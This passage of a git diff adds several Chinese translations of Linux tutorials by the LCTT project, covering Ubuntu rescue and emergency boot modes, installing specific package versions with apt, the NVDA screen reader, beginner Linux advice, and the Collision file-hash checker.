`F10` 按键来引导到紧急模式。 + +数秒后,你将作为 `root` 用户来进入维护。将会提示你按下回车键来进入紧急模式。 + +下图是 Ubuntu 22.04 / 20.04 LTS 系统的紧急模式的样子: + +![Boot Into Emergency Mode In Ubuntu 22.04 / 20.04 LTS][16] + +现在,在紧急模式中做你想做的任何事。在紧急模式中,在你执行任何操作前,你可能需要以读/写模式来挂载根(`/`)文件系统。 + +``` +mount -n -o remount,rw / +``` + +在完成后,按下 `Ctrl + d` 组合键来引导到正常模式。或者,你可以输入下面的任意一个命令来引导到正常模式。 + +``` +systemctl default +``` + +或者, + +``` +exit +``` + +如果你想重新启动系统,而不是引导到正常模式,输入: + +``` +systemctl reboot +``` + +### 在 Ubuntu 18.04 LTS 中引导到救援模式 + +启动你的 Ubuntu 系统。当 GRUB 菜单出现时,选择第一项并按下按键 `e` 来编辑。(为到达其行尾处,只需要按下 `Ctrl + e` 组合键,或使用你键盘上的 `END` 按键或 `←`/`→` 按键): + +![Grub Menu][17] + +如果你没有看到 GRUB 菜单,只需要在 BIOS 徽标出现后,按下 `ESC` 按键来显示 GRUB 菜单。 + +找到以单词 `linux` 开头的一行代码,并在其结尾处添加下面的一行代码(为到达其行尾处,只需要按下 `Ctrl + e` 组合键,或使用你键盘上的 END` 按键或 `←`/`→` 按键): + +``` +systemd.unit=rescue.target +``` + +![Edit Grub Menu][18] + +在添加上面的代码行后,只需要按下 `Ctrl + x` 组合键,或按下 `F10` 按键来引导到救援模式。数秒后,你将作为 `root` 用户进入维护(即单用户模式)。 + +下图是 Ubuntu 18.04 LTS 服务器系统的救援模式的样子: + +![Ubuntu Rescue Mode][19] + +接下来,输入下面的命令来挂载根(`/`)文件系统为读/写模式。 + +``` +mount -n -o remount,rw / +``` + +### 在 Ubuntu 18.04 LTS 中引导到紧急模式 + +引导你的 Ubuntu 到紧急模式基本与上述方法相同。你所需要做的全部工作是,在编辑 GRUB 菜单时,将 `systemd.unit=rescue.target` 替换为 `systemd.unit=emergency.target` 。 + +![Edit Grub Menu][20] + +在你添加 `systemd.unit=emergency.target` 后,按下 `Ctrl + x` 组合键,或按下 `F10` 按键来引导到紧急模式。 + +![Ubuntu Emergency Mode][21] + +最后,你可以使用下面的命令来以读/写模式的方式来挂载根(`/`)文件系统: + +``` +mount -n -o remount,rw / +``` + +### 在救援模式和紧急模式之间切换 + +如果你正在救援模式中,你不必像我上述提到的那样来编辑 GRUB 的菜单启动项。相反,你只想要输入下面的命令来立刻切换到紧急模式: + +``` +systemctl emergency +``` + +同样,为从紧急模式切换到救援模式,输入: + +``` +systemctl rescue +``` + +### 总结 + +现在,你知道了什么是救援模式和紧急模式,以及如何在 Ubuntu 22.04 、20.04 和 18.04 LTS 系统中启动到这些模式。正如我已经提到的,在这里提供的这些步骤应该也适用于大多数当前使用 systemd 作为默认服务管理器的 Linux 发行版。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/how-to-boot-into-rescue-mode-or-emergency-mode-in-ubuntu-18-04/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/check-runlevel-linux/ +[2]: https://ostechnix.com/how-to-reset-or-recover-root-user-password-in-linux/ +[3]: https://ostechnix.com/wp-content/uploads/2022/05/GRUB-Menu-In-Ubuntu-22.04-LTS.png +[4]: https://ostechnix.com/wp-content/uploads/2022/05/Edit-Grub-Boot-Menu-Entries-To-Enter-Into-Rescue-Mode-In-Ubuntu-22.04-LTS.png +[5]: https://ostechnix.com/wp-content/uploads/2022/05/Boot-Into-Rescue-Mode-In-Ubuntu-22.04.png +[6]: https://ostechnix.com/wp-content/uploads/2022/05/Mount-Root-File-System-In-Read-Write-Mode-In-Ubuntu.png +[7]: https://ostechnix.com/wp-content/uploads/2022/05/Choose-Advanced-Options-For-Ubuntu-From-Grub-Boot-Menu.png +[8]: https://ostechnix.com/wp-content/uploads/2022/05/Choose-Recovery-Mode-In-Grub-Boot-Menu-In-Ubuntu.png +[9]: https://ostechnix.com/wp-content/uploads/2022/05/Enter-Into-Root-Shell-Prompt-In-Ubuntu.png +[10]: https://ostechnix.com/wp-content/uploads/2022/05/Ubuntu-Maintenance-Mode.png +[11]: https://ostechnix.com/wp-content/uploads/2022/05/Mount-Root-File-System-In-Read-Write-Mode-In-Ubuntu-1.png +[12]: https://ostechnix.com/wp-content/uploads/2022/05/Boot-Into-Normal-Mode-In-Ubuntu.png +[13]: https://ostechnix.com/wp-content/uploads/2022/05/Exit-The-Recovery-Mode-In-Ubuntu.png +[14]: https://ostechnix.com/wp-content/uploads/2022/05/GRUB-Menu-In-Ubuntu-22.04-LTS.png +[15]: https://ostechnix.com/wp-content/uploads/2022/05/Edit-Grub-Boot-Menu-Entries-To-Enter-Into-Emergency-Mode-In-Ubuntu.png +[16]: https://ostechnix.com/wp-content/uploads/2018/12/Boot-Into-Emergency-Mode-In-Ubuntu-20.04-LTS.png +[17]: https://ostechnix.com/wp-content/uploads/2018/12/Grub-menu.png +[18]: https://ostechnix.com/wp-content/uploads/2018/12/Edit-grub-menu.png +[19]: https://ostechnix.com/wp-content/uploads/2018/12/Ubuntu-rescue-mode.png +[20]: https://ostechnix.com/wp-content/uploads/2018/12/emergency-mode.png +[21]: https://ostechnix.com/wp-content/uploads/2018/12/emergency-mode-1.png diff --git a/published/202206/20220518 Install Specific Package Version With Apt Command in Ubuntu.md b/published/202206/20220518 Install Specific Package Version With Apt Command in Ubuntu.md new file mode 100644 index 0000000000..3fd0736890 --- /dev/null +++ b/published/202206/20220518 Install Specific Package Version With Apt Command in Ubuntu.md @@ -0,0 +1,193 @@ +[#]: subject: "Install Specific Package Version With Apt Command in Ubuntu" +[#]: via: "https://itsfoss.com/apt-install-specific-version-2/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14760-1.html" + +如何在 Ubuntu 中安装具体指定的软件包版本 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/26/145335zcrpducpup4p2ugy.jpg) + +在 Ubuntu 中想安装一个软件包的一个特别指定的版本?你可以通过下面的方式来轻松地完成: + +``` +sudo apt install package_name=package_version +``` + +你如何知道某个软件包有哪些可用的版本?可以使用这个命令: + +``` +apt list --all-versions package_name +``` + +在下面的屏幕截屏中,你可以看到,我有两个可用的 VLC 版本,我使用命令来安装较旧的版本: + +![install specific versions apt ubuntu][1] + +听起来像一个简单的任务,对吧?但是事情并非看起来那么简单。这里有一些不确定是否会出现,但是可能会涉及的东西。 + +这篇教程将涵盖使用 `apt` 或 `apt-get` 命令来安装一个具体指定的程序的版本的所有的重要的方面。 + +### 安装一个具体指定版本的程序需要知道的事 + +在基于 Ubuntu 和 Debian 发行版中,你需要知道一些关于 APT 和存储库是如何工作的知识。 + +#### 同一个软件包源没有较旧的版本 + +Ubuntu 在其存储库中不保留较旧版本的软件包。在特殊的情况下,你可以暂时性地看到多个版本。例如,你运行 APT 更新(但不升级)时,可能会有一个可用的新版本。在 APT 缓存中,你可以看到同一个软件包的两个版本。但是,一旦软件包被升级到了新的版本,较旧版本的软件包将从 **APT 缓存** 和存储库中移除。 + +#### 使用多个软件包源来使用不同的版本 + +为获取同一个的软件包的多个版本,你必须得添加多个软件包源。例如,VLC 是版本 3.x 系列。添加 [VLC 每日构建 PPA][2] 将会提供(不稳定的)版本 4.x 系列。 + +同样,**你可以下载不同版本的 DEB 文件,并安装它**。 + +#### 较高版本编号的版本通常有优先权 + +如果你有来自多个软件包源的相同名称的软件,默认情况下,Ubuntu 将安装可用的最高版本编号的版本。 + +在前面的示例中,如果我安装 VLC ,那么它将会安装 4.x 系列的版本,而不是 3.x 系列的版本。 + +#### 较旧版本将升级到可用的较新版本 + +这是另外一个可能存在的问题。即使你安装较旧版本的软件包,它也会升级到较新的版本(如果存在可用的较新版本)。你必须 [保留该软件包来防止其升级][3] 。 + +#### 依赖关系也需要安装 + +如果软件包有依赖关系,你也需要安装必要的依赖关系软件包。 + +现在,你已经知道一些可能存在的问题,让我们看看如何解决它们。 + +### 安装一个软件包的具体指定版本 + +在这篇教程中,我将以 VLC 为例。在 Ubuntu 的存储库中可获得 VLC 版本。我添加了每日构建 PPA ,它将向我提供 VLC 的 4.0 版本的候选版本。 + +如你所见,在现在的系统中,我有两个可用的 VLC 版本: + +![install specific versions apt ubuntu][4] + +``` +~$ apt list -a vlc +Listing... Done +vlc/jammy 4.0.0~rc1~~git20220516+r92284+296~ubuntu22.04.1 amd64 +vlc/jammy 3.0.16-1build7 amd64 +vlc/jammy 3.0.16-1build7 i386 +``` + +因为较高版本编号版本有优先权,使用 `apt install vlc` 命令将会导致安装 VLC 的 4.0 版本。但是,因为这篇教程的缘由,我想安装较旧的版本 3.0.16 。 + +``` +sudo apt install vlc=3.0.16-1build7 +``` + +但是,这里会有这样的事。VLC 软件包有一些依赖关系,并且这些依赖关系也需要具体指定的版本。因此,在 Ubuntu 为其尝试安装最新的版本时,你将会遇到经典的 [你已保留残缺软件包][5]you have held broken packages 错误。 + +![problem installing specific version apt ubuntu][6] + +为修复这个错误,你需要为其提供它所投诉的所有依赖关系的软件包的具体指定版本。因此,该命令会变成这样: + +``` +sudo apt install vlc=3.0.16-1build7 \ + vlc-bin=3.0.16-1build7 \ + vlc-plugin-base=3.0.16-1build7 \ + vlc-plugin-qt=3.0.16-1build7 \ + vlc-plugin-video-output=3.0.16-1build7 \ + vlc-l10n=3.0.16-1build7 \ + vlc-plugin-access-extra=3.0.16-1build7 \ + vlc-plugin-notify=3.0.16-1build7 \ + vlc-plugin-samba=3.0.16-1build7 \ + vlc-plugin-skins2=3.0.16-1build7 \ + vlc-plugin-video-splitter=3.0.16-1build7 \ + vlc-plugin-visualization=3.0.16-1build7 +``` + +说明一下,每行结尾处的 `\` 只是用来将多行命令来写入同一个命令的一种方式。 + +**它有作用吗?在很多情况下,它是有作用的。** 但是,我选择了一个复杂的 VLC 示例,它有很多依赖关系。甚至这些所涉及的依赖关系也依赖于其它的软件包。所以,它就变得令人难以处理。 + +一种替代的方法是在安装时指定软件包源。 + +#### 替代方式,指定存储库 + +你已经添加多个软件包源,因此,你应该对这些软件包的来源有一些了解。 + +使用下面的命令来搜索存储库: + +``` +apt-cache policy | less +``` + +注意存储库名称后面的行: + +``` +500 http://security.ubuntu.com/ubuntu jammy-security/multiverse i386 Packages + release v=22.04,o=Ubuntu,a=jammy-security,n=jammy,l=Ubuntu,c=multiverse,b=i386 + origin security.ubuntu.com +``` + +你可以具体指定 `o`、`l`、`a` 等参数。 + +在我原来的示例中,我想安装来自 Ubuntu 存储库的 VLC(获取版本 3.16),而不是安装来 PPA 的版本(它将向我提供版本 4)。 + +因此,下面的命令将安装 VLC 版本 3.16 及其所有的依赖关系: + +``` +sudo apt install -t "o=ubuntu" vlc +``` + +![install from repository source][7] + +看起来令人满意?但是,当你必须更新系统时,问题就来了。它接下来会控诉找不到指定的软件包版本。 + +**还能做什么?** + +为安装较旧的软件包版本,从你的系统中移除较新版本的软件包源(如果可能的话)。它将有助于逃脱这些依赖关系地狱。 + +如果不能这么做,检查你是否可以从其它一些软件包的打包格式来获取,像 Snap、Flatpak、AppImage 等等。事实上,Snap 和 Flatpak 也允许你从可用的版本中选择和安装。因为这些应用程序是沙盒模式的,所以它很容易管理不同版本的依赖关系。 + +#### 保留软件包,防止升级 + +如果你完成安装一个指定的程序版本,你可能想避免意外地升级到较新的版本。实现这一点并不太复杂。 + +``` +sudo apt-mark hold package_name +``` + +你可以免除保留软件包,以便它能稍后升级: + +``` +sudo apt-mark unhold package_name +``` + +注意,软件包的依赖关系不会自动地保留。它们需要单独地指明。 + +### 结论 + +如你所见,安装选定软件包版本有一定之规。只有当软件包有依赖关系时,那么事情就会变得复杂,然后,你就会进入依赖关系地狱。 + +我希望你在这篇教程中学到一些新的东西。如果你有问题或建议来改善它,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-install-specific-version-2/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/05/install-specific-versions-apt-ubuntu.png +[2]: https://launchpad.net/~videolan/+archive/ubuntu/master-daily +[3]: https://itsfoss.com/prevent-package-update-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2022/05/install-specific-versions-apt-ubuntu.png +[5]: https://itsfoss.com/held-broken-packages-error/ +[6]: https://itsfoss.com/wp-content/uploads/2022/05/problem-installing-specific-version-apt-ubuntu-800x365.png +[7]: https://itsfoss.com/wp-content/uploads/2022/05/install-from-repository-source-800x578.png diff --git a/published/202206/20220519 Use this open source screen reader on Windows.md b/published/202206/20220519 Use this open source screen reader on Windows.md new file mode 100644 index 0000000000..a553667e53 --- /dev/null +++ b/published/202206/20220519 Use this open source screen reader on Windows.md @@ -0,0 +1,67 @@ +[#]: subject: "Use this open source screen reader on Windows" +[#]: via: "https://opensource.com/article/22/5/open-source-screen-reader-windows-nvda" +[#]: author: "Peter Cheer https://opensource.com/users/petercheer" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14664-1.html" + +在 Windows 上使用开源屏幕阅读器 NVDA +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/02/101911ds5t1xts1o52vmss.jpg) + +> 为纪念全球无障碍意识日,让我们了解一下 NVDA 开源屏幕阅读器,以及你该如何参与其中,为所有网络用户提高无障碍性。 + +屏幕阅读器是辅助技术软件的一个专门领域,它可以阅读并说出计算机屏幕上的内容。完全没有视力的人只是视力障碍者的一小部分,屏幕阅读器软件可以帮助所有群体。屏幕阅读器大多特定于操作系统,供有视觉障碍的人和无障碍培训师使用,以及想要测试网站或应用的无障碍访问程度的开发人员和无障碍顾问。 + +### 如何使用 NVDA 屏幕阅读器 + +[WebAIM 屏幕阅读器用户调查][2] 始于 2009 年,一直持续到 2021 年。在第一次调查中,最常用的屏幕阅读器是 JAWS,占 74%。它是微软 Windows 的商业产品,并且是长期的市场领导者。NVDA 当时是一个相对较新的 Windows 开源屏幕阅读器,仅占 8%。快进到 2021 年,JAWS 占 53.7%,NVDA 占 30.7%。 + +你可以从 [NVAccess 网站][3] 下载最新版本的 NVDA。为什么我要使用 NVDA 并将它推荐给我使用微软 Windows 的客户?嗯,它是开源的、速度快、功能强大、易于安装、支持多种语言、可以作为便携式应用运行、拥有庞大的用户群,并且有定期发布新版本的周期。 + +NVDA 已被翻译成 55 种语言,并在 175 个不同的国家/地区使用。还有一个活跃的开发者社区,拥有自己的 [社区插件网站][4]。你选择安装的任何附加组件都将取决于你的需求,并且有很多可供选择,包括常见视频会议平台的扩展。 + +与所有屏幕阅读器一样,NVDA 有很多组合键需要学习。熟练使用任何屏幕阅读器都需要培训和练习。 + +![Image of NVDA welcome screen][5] + +向熟悉计算机和会使用键盘的人教授 NVDA 并不太难。向一个完全初学者教授基本的计算机技能(没有鼠标、触摸板和键盘技能)和使用 NVDA 是一个更大的挑战。个人的学习方式和偏好不同。此外,如果人们只想浏览网页和使用电子邮件,他们可能不需要学习如何做所有事情。NVDA 教程和资源的一个很好的链接来源是 [无障碍中心][6]。 + +当你掌握了使用键盘命令操作 NVDA,它就会变得更容易,但是还有一个菜单驱动的系统可以完成许多配置任务。 + +![Image of NVDA menu][7] + +### 测试无障碍性 + +多年来,屏幕阅读器用户无法访问某些网站一直是个问题,尽管美国残疾人法案(ADA)等残疾人平等立法仍然存在。NVDA 在有视力的社区中的一个很好的用途是用于网站无障碍性测试。NVDA 可以免费下载,并且通过运行便携式版本,网站开发人员甚至不需要安装它。运行 NVDA,关闭显示器或闭上眼睛,看看你在浏览网站或应用时的表现如何。 + +NVDA 也可用于测试(通常被忽略的)正确 [标记 PDF 文档以实现无障碍性][8] 任务。 + +有几个指南专注于使用 NVDA 进行无障碍性测试。我可以推荐 [使用 NVDA 测试网页][9] 和使用 [NVDA 评估 Web 无障碍性][10]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/open-source-screen-reader-windows-nvda + +作者:[Peter Cheer][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/petercheer +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://webaim.org/projects +[3]: https://www.nvaccess.org +[4]: https://addons.nvda-project.org/index.en.html +[5]: https://opensource.com/sites/default/files/2022-05/nvda1.png +[6]: http://www.accessibilitycentral.net/ +[7]: https://opensource.com/sites/default/files/2022-05/nvda2.png +[8]: https://www.youtube.com/watch?v=rRzWRk6cXIE +[9]: https://www.unimelb.edu.au/accessibility/tools/testing-web-pages-with-nvda +[10]: https://webaim.org/articles/nvda diff --git a/published/202206/20220523 7 pieces of Linux advice for beginners.md b/published/202206/20220523 7 pieces of Linux advice for beginners.md new file mode 100644 index 0000000000..3a2c4d76ad --- /dev/null +++ b/published/202206/20220523 7 pieces of Linux advice for beginners.md @@ -0,0 +1,141 @@ +[#]: subject: "7 pieces of Linux advice for beginners" +[#]: via: "https://opensource.com/article/22/5/linux-advice-beginners" +[#]: author: "Opensource.com https://opensource.com/users/admin" +[#]: collector: "lkxed" +[#]: translator: "lightchaserhy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14712-1.html" + +给 Linux 初学者的 7 条建议 +====== + +> 我们咨询了我们社区作者们,分享了他们的初学经验。 + +![](https://img.linux.net.cn/data/attachment/album/202206/15/143733yhdrxhbnhojbxn2a.jpg) + +对 Linux 的新用户有什么建议?我们请社区的作者们分享了他们初学时的最佳经验。 + +### 1、用好 Linux 资源 + +我哥们儿告诉我,Linux 就像一个“软件积木搭建套装”(这是一个过时的词汇,指的是上世纪五六十年代流行的建筑积木玩具),这个比喻比较恰当。在 2001、2002 年那时,我曾经利用 Windows 3.1 和 Windows NT,尝试搭建一个安全、有用的 K12 学区网站,当时网上可用的资料不多。其中被推荐的《ROOT 用户指南》是一本“大部头”专业教程,信息丰富,但是有一定上手难度。 + +于我而言,Mandrake Linux 的线上课程是最有用的资源。该课程对使用和管理 Linux 桌面或服务器进行了详细的解读。我学习了该课程,并同时利用红帽公司维护的一个邮件列表服务,有问题时就在社区提问寻求帮助。 + +—— [Don Watkins][2] + +### 2、在 Linux 社区寻求帮助 + +我的建议是要多问,你可以从网上搜索信息开始,看看其他人类似的问题(甚至是更好的提问)。问什么和如何问,需要花一定时间熟悉。 + +一旦你对 Linux 更加熟悉了,查看你感兴趣的各种相关论坛,在提问前,先看看是否有人已经提过相同问题,并获得了答案。 + +加入邮件列表也很有用,最后你会发现自己也能专业地答复提问。正如他们说的,通过回答他人的问题也会学到更多知识。 + +同时,你会越来越熟悉这个操作系统内部运行机制,再也不是初学时的一无所知。 + +—— [Greg Pittman][3] + +我的建议是利用 `man`、`info` 等帮助命令获取信息。另外,尽可能花时间熟悉命令行界面,且真正理解 UNIX 的设计理念。事实上,我最喜欢的书之一就是一本 80 年代的 UNIX 书籍,对理解文件、目录、设备、基础命令等非常有帮助。 + +—— [Alan Formy-Duval][4] + +我最好的建议是充分相信社区的答复、手册页的详细信息、介绍不同选项的 HOW-TO 文档。不管怎么说,我是在 2009 年左右开始学习的,当时有很多可用的工具和资源。有一个叫 “Linux from Scratch(LFS)”的项目 —— 从源码开始创建 Linux 系统,在这个项目我学会了很多内部原理知识,以及如何创建一个 LFS 镜像。 + +—— [Sumantro Mukherjee][6] + +我的建议是泛读。利用像 “Ask Fedora”、“Fedora Matrix chat” 等论坛,阅读他人的经验观点,并且尝试实践。我通过阅读他人的网上争论学习到很多东西,然后我会尝试找出问题的原因。 + +—— [Steve Morris][8] + +### 3、安装双操作系统 + +我在 90 年代末就开始安装双操作系统(Windows 和 Linux),虽然我真正想使用的是 Linux 操作系统,但我最终还是启动了 Windows 系统,以便在熟悉的桌面环境中工作。最好的建议之一是改变计算机系统启动顺序,所以每次我都反应不够快,自动进入了 Linux 系统。: ) + +—— [Heike Jurzik][9] + +我的团队里的一个人挑战我,要做一个知识交换。 + +他是我们的 Linux 系统管理员,利用 Joomla 搭建了一个网站(我们的 Web 团队擅长这个,他想学习更多知识),而我则安装了 Linux(以前一直是用 Windows)。我们一开始就用了双启动,因为我还有一堆依赖于操作系统的软件需要用于业务,但这让我对 Linux 的使用有了一个飞跃。 + +在我们各自学习新系统时,对方作为专家来互相帮助有助于共同成长,“一个都不能少!”,坚持不懈是一个很大的挑战。 + +我经历一个相当尴尬的低级错误后,在显示器上贴了一个大便签,上面写着“在使用任何 `rm` 操作前,首先要思考一下”。管理员给我写了一个命令行大全(网上有很多类似的),对于熟悉基础操作非常有用。我开始使用 Ubuntu 的 KDE 桌面环境时,发现对习惯于使用图形界面的初学者很有帮助。 + +从那以后我就开始长期使用 Linux(除了我的工作计算机),而那位管理员仍然在用 Joomla,看起来我俩都得到了成长。 + +—— [Ruth Cheesley][12] + +### 4、为了安全请先备份 + +我的建议是使用一个带有简单且强大的备份软件的发行版。Linux 新用户会创建、编辑、破坏和恢复系统配置。当操作系统无法启动、丢失数据时,会让他们非常沮丧。 + +有了备份软件,他们的数据就有了保障。 + +我们都喜爱 Linux,因为它能让我们自由飞翔,但这是“双刃剑”,使用不当也有可能发生非常严重的错误。 + +—— [Giuseppe Cassibba][13] + +### 5、分享你的 Linux 经验 + +我的建议是分享你的 Linux 使用经验。我曾经认为有一些发行版更适合新用户,所以当他们咨询使用 Linux 时,我总是推荐这些为“新用户准备的”发行版。但是当我坐在他们的计算机前,看起来却像是我从未用过 Linux 一样,因为一些新功能我也不熟悉。现在当有人咨询时,我会推荐自己使用的发行版,虽说这不一定是初学者的“最佳”版本,但毕竟我熟悉,他们遇到的问题我能够快速解决(当然我自己也会在分享中学到新东西)。 + +—— [Seth Kenlon][14] + +以前有句俗话叫“不要随便使用杂志封面上宣传的发行版,使用你朋友都在用的,当你遇到问题时才能更好地需求帮助”。将关键词“杂志封面”替换为“互联网”,这句话依然有效 : -) 。我从未听从过这个建议,因为我是方圆五十公里内唯一使用 Linux 的人,周围的人都在用 FreeBSD、IRIX、Solaris 和 Windows 3.11 等操作系统,最后,我就是那个被人们寻求 Linux 帮助的人。 + +—— [Peter Czanik][15] + +### 6、坚持学习 Linux + +在到 Red Hat 工作前,我是一名分销商合作伙伴,我有几个提供旅行护士的家庭健康代理机构客户,他们使用了一个叫“Carefacts”的软件包,最初用于 DOS,在旅行笔记本电脑和中心数据库同步中总是出错。 + +早期我听到的最好建议是认真研究一下开源运动。开源在 2022 年是主流思想,但在一代人以前,从 Red Hat 的零售商购买 Linux 安装光盘是带有革命性的创新行为。开源打破了常规,我认为要客观看待开源,但确实惊叹到了相当一部分人。 + +我的公司在 20 世纪 90 年代中期搭建了第一个客户防火墙,那是基于 Windows NT 和 Altavista 的一个产品,但是经常发生错误崩溃。我们自己又搭建了一个基于 Linux 的防火墙,再也没有出问题了。因此,我们用 Linux 替换了客户的那套 Altavista 系统,稳定地运行了多年。我们在 1999 年底搭建了另一个客户防火墙,当时我花三周读完了一本关书,介绍了数据包过滤和 ipchains 的正确使用,当我完成时感觉超赞,它解决了所有问题。在接下来的 15 年,我搭建安装了数百个防火墙系统,主要采用 iptables 技术,有些利用桥接或 ARP 代理以及 QOS 保障视频会议传输,有些利用 IPSEC 和 OpenVPN 隧道。我靠管理个人防火墙和一些双机热备系统赚取生活费,非常不错,而以前都是用的 Windows 系统。我甚至还建了一些虚拟防火墙。 + +但是技术在高速发展,2022 年,iptables 已过时,我以前的防火墙技术也成了美好的回忆。 + +目前的经验之谈?永远不要停止探索。 + +—— [Greg Scott][19] + +### 7、享受过程 + +耐心点,Linux 和之前你熟悉的操作系统不太相同,准备拥抱一个充满无限可能的新世界,尽情享受吧。 + +—— [Alex Callejas][20] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/linux-advice-beginners + +作者:[Opensource.com][a] +选题:[lkxed][b] +译者:[lightchaserhy](https://github.com/lightchaserhy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/admin +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/yearbook-haff-rx-linux-file-lead_0.png +[2]: https://opensource.com/users/don-watkins +[3]: https://opensource.com/users/greg-p +[4]: https://opensource.com/users/alanfdoss +[5]: https://linuxfromscratch.org/ +[6]: https://opensource.com/users/sumantro +[7]: https://ask.fedoraproject.org +[8]: https://opensource.com/users/smorris12 +[9]: https://opensource.com/users/hej +[10]: https://opensource.com/downloads/linux-common-commands-cheat-sheet +[11]: https://opensource.com/article/22/2/why-i-love-linux-kde +[12]: https://opensource.com/users/rcheesley +[13]: https://opensource.com/users/peppe8o +[14]: https://opensource.com/users/seth +[15]: https://opensource.com/users/czanik +[16]: https://www.redhat.com/sysadmin/run-your-own-vpn-libreswan +[17]: https://opensource.com/article/21/8/openvpn-server-linux +[18]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[19]: https://opensource.com/users/greg-scott +[20]: https://opensource.com/users/darkaxl diff --git a/published/202206/20220524 Collision- Linux App to Verify ISO and Other Files.md b/published/202206/20220524 Collision- Linux App to Verify ISO and Other Files.md new file mode 100644 index 0000000000..a60f32620a --- /dev/null +++ b/published/202206/20220524 Collision- Linux App to Verify ISO and Other Files.md @@ -0,0 +1,133 @@ +[#]: subject: "Collision: Linux App to Verify ISO and Other Files" +[#]: via: "https://www.debugpoint.com/2022/05/collision/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14671-1.html" + +Collision:用于验证 ISO 和其他文件的 Linux 应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/04/111427jzkwsocv4oug3vso.jpg) + +> 本教程概述了 Collision 的功能和使用指南。它是一个基于 GUI 且易于使用的程序,可让你使用加密哈希函数验证文件。 + +### 为什么需要验证文件? + +人们每天都通过互联网下载文件。但许多用户从不费心去验证他们的完整性或真实性。这意味着不知道该文件是否合法且未被任何恶意代码篡改。 + +以作为标准安装镜像的 [Linux 发行版][1] 的 ISO 文件为例。所有流行的发行版制造商在 ISO 文件还提供哈希文件。使用该文件,你可以轻松比较下载文件的哈希值。让你可以放心你的文件是正确的并且没有以任何方式损坏。 + +此外,如果你通过不稳定的互联网连接下载大文件,该文件可能会损坏。在这些情况下,它也有需要验证。 + +### Collision – 功能和使用方法 + +[Collision][2] 使用加密哈希函数来帮助你验证文件。加密哈希函数是一种流行的算法,它通过多种加密算法将文件数据生成为固定长度的数据流。最受欢迎的是 MD5、SHA-1、SHA-256 和 SHA-512。所有这些 Collision 都支持。 + +除此之外,Collision 还提供了一个简洁的用户界面,它对每个 Linux 用户都简单易用。这是它的外观。 + +![Collision – First Screen][3] + +首先,它有两个主要特点。 a、上传文件以获取校验和和或哈希值;b、将校验和与上传的文件进行比较。 + +例如,如果你有一个简单的文件,你可以通过“打开文件Open a File”按钮上传一个文件,或“打开Open”按钮重新上传另一个文件。 + +如下图所示,该文本文件具有以下各种哈希函数的校验和。现在你可以通过互联网/与任何人共享该文件,以及用于验证的校验和值。 + +![Hash values of a test file][4] + +此外,如果有人篡改文件(即使是单个字节)或文件在分发过程中被破坏,那么哈希值就会完全改变。 + +其次,如果要验证已下载文件的完整性,请点击“验证Verify”选项卡。然后上传文件,输入你收到的上传文件的哈希值。 + +如果匹配,你应该会看到一个绿色勾号,显示其真实性。 + +![Collision verifies a sample file with SHA-256][5] + +此外,这是另一个示例,我修改了测试文件并保持大小相同。这个场景清楚地表明它对该文件无效。 + +![Collision showing that a file is not valid][6] + +#### 重要说明 + +这里值得一提的是,哈希方法不会验证文件元属性,如修改时间、修改日期等。如果有人篡改了文件并将其还原为原始内容,这种哈希方式将其称为有效文件。 + +现在,让我们看一个验证 ISO 文件的典型示例。 + +### 使用 Collision 验证 Ubuntu Linux 的示例 ISO 文件 + +我相信你在使用 Linux 时通常会下载许多 ISO 文件。为了说明,我从官方 Ubuntu 下载页面下载了流行的 Ubuntu ISO 服务器镜像。 + +![Ubuntu server ISO file and checksums][7] + +`SHA256SUMS` 文件带有上面的该安装程序的以下校验和值: + +![SHA-256 value of Ubuntu server ISO image][8] + +下载后,打开 Collision 应用并通过“验证Verify”选项卡上传 ISO 文件。然后复制 SHA-256 值并将其粘贴到左侧的校验和框中。 + +如果你已正确下载并按照步骤操作,你应该会看到该文件是真实有效的。 + +![Ubuntu server ISO image verified][9] + +### 如何安装 Collision + +使用 Flatpak 可以轻松安装 Collision 应用。你需要为你的 Linux 发行版 [设置 Flatpak][10],并单击以下链接以安装 Collision。 + +> **[通过 Flathub 安装 Collision][11]** + +安装后,你应该通过发行版的应用菜单找到它。 + 